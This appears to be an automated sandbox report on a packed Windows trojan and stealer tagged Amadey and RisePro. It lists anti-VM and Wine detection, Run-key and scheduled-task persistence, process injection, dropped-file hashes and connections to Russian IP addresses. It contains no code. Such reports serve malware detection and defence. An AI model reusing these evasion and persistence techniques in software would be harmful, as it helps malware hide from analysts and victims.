Malware Analysis Report

2025-03-15 03:58

Sample ID 240519-yjyagaeh5x
Target 9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95
SHA256 9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95
Tags
themida amadey risepro 18befc c767c0 evasion persistence stealer trojan discovery execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95

Threat Level: Known bad

The file 9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95 was found to be: Known bad.

Malicious Activity Summary

themida amadey risepro 18befc c767c0 evasion persistence stealer trojan discovery execution

Amadey

RisePro

Identifies VirtualBox via ACPI registry values (likely anti-VM)

Blocklisted process makes network request

Downloads MZ/PE file

Checks BIOS information in registry

Checks computer location settings

Identifies Wine through registry keys

Executes dropped EXE

Loads dropped DLL

Themida packer

Checks installed software on the system

Adds Run key to start application

Looks up external IP address via web service

Checks whether UAC is enabled

Suspicious use of SetThreadContext

Drops file in System32 directory

Suspicious use of NtSetInformationThreadHideFromDebugger

Drops file in Windows directory

Drops file in Program Files directory

Command and Scripting Interpreter: PowerShell

Enumerates physical storage devices

Unsigned PE

Creates scheduled task(s)

Suspicious use of FindShellTrayWindow

Suspicious use of WriteProcessMemory

Kills process with taskkill

Suspicious behavior: EnumeratesProcesses

Script User-Agent

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-19 19:49

Signatures

Themida packer

themida
Description Indicator Process Target
N/A N/A N/A N/A

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-19 19:49

Reported

2024-05-19 19:52

Platform

win10v2004-20240426-en

Max time kernel

149s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95.exe"

Signatures

Amadey

trojan amadey

RisePro

stealer risepro

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\1000017002\9c57dc59ec.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1000014001\42bfb0c1c9.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A

Downloads MZ/PE file

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1000014001\42bfb0c1c9.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\1000017002\9c57dc59ec.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1000014001\42bfb0c1c9.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\1000017002\9c57dc59ec.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation C:\Users\Admin\1000017002\9c57dc59ec.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95.exe N/A

Identifies Wine through registry keys

evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Software\Wine C:\Users\Admin\1000017002\9c57dc59ec.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A

Themida packer

themida
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\42bfb0c1c9.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000014001\\42bfb0c1c9.exe" C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\1000014001\42bfb0c1c9.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\explorku.job C:\Users\Admin\AppData\Local\Temp\9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95.exe N/A
File created C:\Windows\Tasks\axplons.job C:\Users\Admin\1000017002\9c57dc59ec.exe N/A

Enumerates physical storage devices

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\1000017002\9c57dc59ec.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4408 wrote to memory of 4056 N/A C:\Users\Admin\AppData\Local\Temp\9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 4408 wrote to memory of 4056 N/A C:\Users\Admin\AppData\Local\Temp\9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 4408 wrote to memory of 4056 N/A C:\Users\Admin\AppData\Local\Temp\9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 4056 wrote to memory of 1672 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 4056 wrote to memory of 1672 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 4056 wrote to memory of 1672 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 4056 wrote to memory of 4888 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\1000014001\42bfb0c1c9.exe
PID 4056 wrote to memory of 4888 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\1000014001\42bfb0c1c9.exe
PID 4056 wrote to memory of 4888 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\1000014001\42bfb0c1c9.exe
PID 4056 wrote to memory of 1908 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\1000017002\9c57dc59ec.exe
PID 4056 wrote to memory of 1908 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\1000017002\9c57dc59ec.exe
PID 4056 wrote to memory of 1908 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\1000017002\9c57dc59ec.exe
PID 1908 wrote to memory of 2248 N/A C:\Users\Admin\1000017002\9c57dc59ec.exe C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
PID 1908 wrote to memory of 2248 N/A C:\Users\Admin\1000017002\9c57dc59ec.exe C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
PID 1908 wrote to memory of 2248 N/A C:\Users\Admin\1000017002\9c57dc59ec.exe C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

Processes

C:\Users\Admin\AppData\Local\Temp\9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95.exe

"C:\Users\Admin\AppData\Local\Temp\9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95.exe"

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

"C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

"C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\1000014001\42bfb0c1c9.exe

"C:\Users\Admin\AppData\Local\Temp\1000014001\42bfb0c1c9.exe"

C:\Users\Admin\1000017002\9c57dc59ec.exe

"C:\Users\Admin\1000017002\9c57dc59ec.exe"

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

"C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 87.121.18.2.in-addr.arpa udp
RU 5.42.96.141:80 5.42.96.141 tcp
RU 5.42.96.7:80 5.42.96.7 tcp
US 8.8.8.8:53 141.96.42.5.in-addr.arpa udp
US 8.8.8.8:53 138.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 7.96.42.5.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
NL 23.62.61.194:443 www.bing.com tcp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 8.8.8.8:53 194.61.62.23.in-addr.arpa udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
RU 5.42.96.7:80 5.42.96.7 tcp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 70.121.18.2.in-addr.arpa udp
RU 5.42.96.7:80 5.42.96.7 tcp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 27.178.89.13.in-addr.arpa udp

Files

memory/4408-0-0x0000000000700000-0x0000000000C46000-memory.dmp

memory/4408-1-0x0000000000700000-0x0000000000C46000-memory.dmp

memory/4408-3-0x0000000000700000-0x0000000000C46000-memory.dmp

memory/4408-2-0x0000000000700000-0x0000000000C46000-memory.dmp

memory/4408-6-0x0000000000700000-0x0000000000C46000-memory.dmp

memory/4408-4-0x0000000000700000-0x0000000000C46000-memory.dmp

memory/4408-5-0x0000000000700000-0x0000000000C46000-memory.dmp

memory/4408-7-0x0000000000700000-0x0000000000C46000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

MD5 a7ebaf81abe217a8cb36524f5d61a348
SHA1 e821e45c6b111eeca1fc128bf2b3d899da133d5c
SHA256 9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95
SHA512 c5bc33ea2f46104784a11a0c9e28c1d9e0d9c2160632b3bca5aee1e32dcfddcb1394f9228cbc67fa7e4fcfb54baff30187e486f67855fc08381d388bbd08f62d

memory/4408-20-0x0000000000700000-0x0000000000C46000-memory.dmp

memory/4056-21-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/4056-23-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/4056-26-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/4056-27-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/4056-24-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/4056-25-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/4056-22-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/4056-28-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/4056-29-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/884-34-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/884-36-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/4056-33-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/884-38-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/884-37-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/884-39-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/884-40-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/884-35-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/884-41-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/884-42-0x0000000000790000-0x0000000000CD6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe

MD5 1a2b275324172a9f3b10f58d51938e84
SHA1 3dbe84b63b084eb562772667e48acf322db4bff2
SHA256 af24aed18b2607c09db80a7ec83c0a749028b1ca3230804a2abdcb9cdaa2c0cf
SHA512 1445907aa413f6956f4cfccb30914f8c14e316dd35996787a62d30cfc11a5da284ae443edac042eb2084d0a41cfdd16a61f530ca1dc39d36c8bb0d5d29d19605

memory/4056-57-0x0000000000790000-0x0000000000CD6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000014001\42bfb0c1c9.exe

MD5 e661a6c0e227fd8c7c4f04bdaa1e8e7c
SHA1 dfef840aeb0278cf40c6a65ef80d4b0755fb0311
SHA256 28476ec13192c2654bf5626b77891a78c1cc63472a936d15b6aecc32d680739d
SHA512 8d5a2f3794d50dc2fbaf3ea4ab1c76fdde1dd3e97977bad5a19ed5b9218f2cfb657f5c02728e511cdc296d888a2d92f57b6afa69b4167162dda66ecf7f48b987

memory/4888-79-0x0000000000A80000-0x0000000001112000-memory.dmp

memory/4888-80-0x0000000000A80000-0x0000000001112000-memory.dmp

memory/4888-81-0x0000000000A80000-0x0000000001112000-memory.dmp

memory/4888-82-0x0000000000A80000-0x0000000001112000-memory.dmp

memory/4888-83-0x0000000000A80000-0x0000000001112000-memory.dmp

memory/4888-84-0x0000000000A80000-0x0000000001112000-memory.dmp

memory/4888-86-0x0000000000A80000-0x0000000001112000-memory.dmp

memory/4888-87-0x0000000000A80000-0x0000000001112000-memory.dmp

memory/4888-85-0x0000000000A80000-0x0000000001112000-memory.dmp

C:\Users\Admin\1000017002\9c57dc59ec.exe

MD5 25bec9c038d71af5921951344e59ee4b
SHA1 a89cc8069de0e4ed868ca79a0091788dcc4ce121
SHA256 591fcf3a682808b521ac44a242e084c4a812739b66a763b737e1550e1112c54a
SHA512 2918628e9608702808b11c7f98e158156c937c03f4e90991019fd93d7819c02cec67dc66ef8347a8556dd7cb22f4b78eae287ad3fa9faf1e1660ab70220a1a3f

memory/4056-103-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/1908-104-0x0000000000030000-0x0000000000504000-memory.dmp

memory/1908-117-0x0000000000030000-0x0000000000504000-memory.dmp

memory/4888-118-0x0000000000A80000-0x0000000001112000-memory.dmp

memory/2248-119-0x0000000000C90000-0x0000000001164000-memory.dmp

memory/2032-127-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/2032-130-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/2032-131-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/2032-128-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/1088-129-0x0000000000C90000-0x0000000001164000-memory.dmp

memory/2032-126-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/2032-125-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/2032-124-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/2032-123-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/2032-133-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/1088-134-0x0000000000C90000-0x0000000001164000-memory.dmp

memory/2248-136-0x0000000000C90000-0x0000000001164000-memory.dmp

memory/2248-139-0x0000000000C90000-0x0000000001164000-memory.dmp

memory/2248-142-0x0000000000C90000-0x0000000001164000-memory.dmp

memory/2248-145-0x0000000000C90000-0x0000000001164000-memory.dmp

memory/2248-148-0x0000000000C90000-0x0000000001164000-memory.dmp

memory/3436-155-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/3016-159-0x0000000000C90000-0x0000000001164000-memory.dmp

memory/3436-165-0x0000000000790000-0x0000000000CD6000-memory.dmp

memory/3016-167-0x0000000000C90000-0x0000000001164000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-19 19:49

Reported

2024-05-19 19:52

Platform

win11-20240508-en

Max time kernel

146s

Max time network

156s

Command Line

"C:\Users\Admin\AppData\Local\Temp\9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95.exe"

Signatures

Amadey

trojan amadey

RisePro

stealer risepro

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1000014001\3f18db0985.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\1000017002\11b4d7b64f.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A

Downloads MZ/PE file

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\1000017002\11b4d7b64f.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\1000017002\11b4d7b64f.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1000014001\3f18db0985.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1000014001\3f18db0985.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe N/A
